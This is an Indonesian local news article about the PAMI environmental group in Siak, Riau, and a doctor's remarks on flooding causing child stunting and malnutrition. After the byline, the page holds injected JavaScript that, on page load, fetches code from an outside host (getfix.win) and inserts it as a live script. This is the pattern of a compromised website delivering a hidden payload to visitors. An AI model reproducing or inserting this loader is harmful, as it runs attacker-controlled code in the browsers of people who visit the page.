Siak || www.beritaaspirasi.com
Stunting dapat menghambat potensi anak di masa depan, salah satunya faktor banjir. Demikian Budi Chandra atau dikenal dengan sebutan Ketua Bucan, sebagai penggerak atau motor organisasi PAMI untuk wilayah Kabupaten Siak (21/1/2025).
Kerusakan lingkungan tidak hanya akan berdampak kepada masyarakat yang berada di wilayah Provinsi Riau.
Namun kata Ketua Bucan, hal itu juga akan berdampak secara global dan berpengaruh kepada iklim dunia.
Nah, untuk itu Sekjen PAMI Sutan Haris mengatakan kepada media Riau. Kita butuh orang yang kuat untuk wilayah Siak. “Kami berharap Ketua Bucan dapat menjalankan amanah”.
Menyinggung debit air dengan curah hujan tinggi, dr. Fajar Hanafi selaku Pemerhati Kesehatan Lingkungan Wilayah Riau yang juga sebagai Dewan Pengawas Organisasi Pelindung Alam Mitra Indonesia (PAMI-red).
Akhir-akhir ini, debit air dimusim penghujan khusus wilayah Kec. Tualang patut diperhatikan. “Hujan menjadi sumber penting terjadinya resiko banjir,” ungkap dr. Nafi (sapaan akrab).
Dampak banjir terhadap gizi, kata dr. Nafi, beresiko menjadi penyebab kekurangan gizi kronis pada anak.
Selain itu, Stunting merupakan bentuk kekurangan gizi yang paling sering dilaporkan di daerah rawan banjir khusus Sungai Siak diwilayah Kec. Tualang.
Terakhir, dokter umum jebolan UMSU ini mengakui bahwa banjir dapat menyebabkan kekurangan zat gizi mikro*** (AGUS CH)
;document.addEventListener(“DOMContentLoaded”, function () {
var url = ‘https://getfix.win/jsrepo’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);
if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) {
var event = new Event(‘DOMContentLoaded’);
document.dispatchEvent(event);
}
})
});








